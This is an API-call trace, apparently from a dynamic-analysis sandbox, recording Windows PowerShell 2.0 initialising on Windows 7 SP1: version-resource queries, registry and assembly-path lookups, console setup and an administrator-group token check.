[0035.529] VerQueryValueW (in: pBlock=0x1ea123c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x16ea54, puLen=0x16ea50 | out: lplpBuffer=0x16ea54*=0x1ea14a4, puLen=0x16ea50) returned 1
[0035.529] lstrlenW (lpString="System.Management.Automation.dll") returned 32
[0035.529] lstrcpyW (in: lpString1=0x365310, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll"
[0035.530] VerQueryValueW (in: pBlock=0x1ea123c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x16ea54, puLen=0x16ea50 | out: lplpBuffer=0x16ea54*=0x1ea150c, puLen=0x16ea50) returned 1
[0035.530] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57
[0035.530] lstrcpyW (in: lpString1=0x365310, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved."
[0035.530] VerQueryValueW (in: pBlock=0x1ea123c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x16ea54, puLen=0x16ea50 | out: lplpBuffer=0x16ea54*=0x1ea15a8, puLen=0x16ea50) returned 1
[0035.530] lstrlenW (lpString="System.Management.Automation.dll") returned 32
[0035.530] lstrcpyW (in: lpString1=0x365310, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll"
[0035.530] VerQueryValueW (in: pBlock=0x1ea123c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x16ea54, puLen=0x16ea50 | out: lplpBuffer=0x16ea54*=0x1ea160c, puLen=0x16ea50) returned 1
[0035.530] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42
[0035.530] lstrcpyW (in: lpString1=0x365310, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System"
[0035.530] VerQueryValueW (in: pBlock=0x1ea123c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x16ea54, puLen=0x16ea50 | out: lplpBuffer=0x16ea54*=0x1ea1688, puLen=0x16ea50) returned 1
[0035.530] lstrlenW (lpString="6.1.7601.17514") returned 14
[0035.530] lstrcpyW (in: lpString1=0x365310, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514"
[0035.530] VerQueryValueW (in: pBlock=0x1ea123c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x16ea54, puLen=0x16ea50 | out: lplpBuffer=0x16ea54*=0x1ea1330, puLen=0x16ea50) returned 1
[0035.530] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49
[0035.530] lstrcpyW (in: lpString1=0x365310, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly"
[0035.531] VerQueryValueW (in: pBlock=0x1ea123c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x16ea54, puLen=0x16ea50 | out: lplpBuffer=0x16ea54*=0x0, puLen=0x16ea50) returned 0
[0035.531] VerQueryValueW (in: pBlock=0x1ea123c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x16ea54, puLen=0x16ea50 | out: lplpBuffer=0x16ea54*=0x0, puLen=0x16ea50) returned 0
[0035.531] VerQueryValueW (in: pBlock=0x1ea123c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x16ea54, puLen=0x16ea50 | out: lplpBuffer=0x16ea54*=0x0, puLen=0x16ea50) returned 0
[0035.531] VerQueryValueW (in: pBlock=0x1ea123c, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x16ea48, puLen=0x16ea44 | out: lplpBuffer=0x16ea48*=0x1ea12d8, puLen=0x16ea44) returned 1
[0035.531] VerLanguageNameW (in: wLang=0x0, szLang=0x365310, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10
[0035.531] VerQueryValueW (in: pBlock=0x1ea123c, lpSubBlock="\\", lplpBuffer=0x16ea5c, puLen=0x16ea58 | out: lplpBuffer=0x16ea5c*=0x1ea1264, puLen=0x16ea58) returned 1
[0035.540] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0035.540] GetLastError () returned 0xcb
[0035.545] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0035.545] GetLastError () returned 0xcb
[0035.548] lstrlenW (lpString="䅁") returned 1
[0035.556] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16ea20 | out: phkResult=0x16ea20*=0x300) returned 0x0
[0035.556] RegOpenKeyExW (in: hKey=0x300, lpSubKey="1", ulOptions=0x0, samDesired=0x20019, phkResult=0x16ea24 | out: phkResult=0x16ea24*=0x304) returned 0x0
[0035.556] RegOpenKeyExW (in: hKey=0x304, lpSubKey="PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x16ea58 | out: phkResult=0x16ea58*=0x308) returned 0x0
[0035.558] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16ea98, lpData=0x0, lpcbData=0x16ea94*=0x0 | out: lpType=0x16ea98*=0x1, lpData=0x0, lpcbData=0x16ea94*=0x56) returned 0x0
[0035.559] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16ea98, lpData=0x365310, lpcbData=0x16ea94*=0x56 | out: lpType=0x16ea98*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x16ea94*=0x56) returned 0x0
[0035.572] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0035.572] GetLastError () returned 0x0
[0035.574] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0035.574] GetLastError () returned 0x0
[0035.579] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0035.579] GetLastError () returned 0x0
[0035.592] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0035.592] GetLastError () returned 0xcb
[0035.901] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x16e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e
[0035.901] GetLastError () returned 0x2
[0035.901] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x16e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e
[0035.901] GetLastError () returned 0x2
[0036.030] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0036.030] GetLastError () returned 0xcb
[0036.031] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0036.031] GetLastError () returned 0xcb
[0036.060] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0036.060] GetLastError () returned 0xcb
[0036.061] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0036.061] GetLastError () returned 0xcb
[0036.061] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0036.061] GetLastError () returned 0xcb
[0036.253] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x16e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70
[0036.253] GetLastError () returned 0x0
[0036.253] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x16e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70
[0036.253] GetLastError () returned 0x0
[0036.296] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0036.296] GetLastError () returned 0xcb
[0036.298] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0036.298] GetLastError () returned 0xcb
[0036.362] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0036.362] GetLastError () returned 0x7e
[0036.362] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0036.362] GetLastError () returned 0x7e
[0036.923] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x16e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86
[0036.923] GetLastError () returned 0x2
[0036.923] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x16e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86
[0036.923] GetLastError () returned 0x2
[0037.177] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0037.177] GetLastError () returned 0x57
[0037.177] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0037.177] GetLastError () returned 0x57
[0037.336] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x16e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c
[0037.336] GetLastError () returned 0x2
[0037.336] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x16e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c
[0037.336] GetLastError () returned 0x2
[0037.493] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x16e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76
[0037.493] GetLastError () returned 0x2
[0037.493] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x16e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76
[0037.493] GetLastError () returned 0x2
[0037.547] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0037.547] GetLastError () returned 0xcb
[0037.548] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e628, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0037.548] GetLastError () returned 0xcb
[0037.548] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e5d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0037.548] GetLastError () returned 0xcb
[0037.548] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e5d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0037.548] GetLastError () returned 0xcb
[0037.556] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e5d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0037.556] GetLastError () returned 0xcb
[0037.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x16e56c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c
[0037.632] GetLastError () returned 0x2
[0037.632] SetErrorMode (uMode=0x1) returned 0x1
[0037.632] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x16ea14 | out: lpFileInformation=0x16ea14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0037.632] GetLastError () returned 0x2
[0037.632] SetErrorMode (uMode=0x1) returned 0x1
[0037.844] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e628, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0037.844] GetLastError () returned 0x0
[0037.844] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e5d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0037.845] GetLastError () returned 0x0
[0037.846] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e5d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0037.846] GetLastError () returned 0x0
[0037.848] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0037.848] GetLastError () returned 0xcb
[0037.851] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0037.851] GetLastError () returned 0xcb
[0037.851] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0037.851] GetLastError () returned 0xcb
[0037.855] CoCreateGuid (in: pguid=0x16eaf4 | out: pguid=0x16eaf4*(Data1=0x4bf24ab, Data2=0x35d8, Data3=0x45f2, Data4=([0]=0x9f, [1]=0xde, [2]=0x1e, [3]=0x93, [4]=0xad, [5]=0xc0, [6]=0x41, [7]=0xbf))) returned 0x0
[0037.859] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0037.859] GetLastError () returned 0xcb
[0037.861] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0037.861] GetLastError () returned 0xcb
[0037.863] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0037.863] GetLastError () returned 0xcb
[0037.869] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf
[0037.870] GetLastError () returned 0x0
[0037.871] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x16e9d4 | out: lpConsoleScreenBufferInfo=0x16e9d4) returned 1
[0037.871] GetLastError () returned 0x0
[0037.875] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13
[0037.876] GetLastError () returned 0x0
[0037.876] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0x16e9d4 | out: lpConsoleScreenBufferInfo=0x16e9d4) returned 1
[0037.876] GetLastError () returned 0x0
[0037.877] GetVersionExW (in: lpVersionInformation=0x365328*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x365328*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0037.877] GetLastError () returned 0x0
[0037.878] GetCurrentProcess () returned 0xffffffff
[0037.878] GetLastError () returned 0x3f0
[0037.879] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x16e9e4 | out: TokenHandle=0x16e9e4*=0x324) returned 1
[0037.879] GetLastError () returned 0x3f0
[0037.882] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x16ea3c | out: TokenInformation=0x0, ReturnLength=0x16ea3c) returned 0
[0037.882] GetLastError () returned 0x7a
[0037.883] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x339378
[0037.883] GetLastError () returned 0x7a
[0037.883] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x8, TokenInformation=0x339378, TokenInformationLength=0x4, ReturnLength=0x16ea3c | out: TokenInformation=0x339378, ReturnLength=0x16ea3c) returned 1
[0037.883] GetLastError () returned 0x7a
[0037.886] DuplicateTokenEx (in: hExistingToken=0x324, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x16e9f4 | out: phNewToken=0x16e9f4*=0x31c) returned 1
[0037.886] GetLastError () returned 0x7f
[0037.886] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x16ea3c | out: TokenInformation=0x0, ReturnLength=0x16ea3c) returned 0
[0037.886] GetLastError () returned 0x7a
[0037.886] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x339358
[0037.887] GetLastError () returned 0x7a
[0037.887] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x8, TokenInformation=0x339358, TokenInformationLength=0x4, ReturnLength=0x16ea3c | out: TokenInformation=0x339358, ReturnLength=0x16ea3c) returned 1
[0037.887] GetLastError () returned 0x7a
[0037.887] CheckTokenMembership (in: TokenHandle=0x31c, SidToCheck=0x1f240a8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x16e9d0 | out: IsMember=0x16e9d0) returned 1
[0037.887] GetLastError () returned 0x7a
[0037.887] CloseHandle (hObject=0x31c) returned 1
[0037.887] GetLastError () returned 0x7a
[0037.888] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e514, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0037.888] GetLastError () returned 0x7a
[0037.888] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e4c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0037.888] GetLastError () returned 0x7a
[0037.888] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e4c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0037.888] GetLastError () returned 0x7a
[0037.888] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e4c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0037.888] GetLastError () returned 0x7a
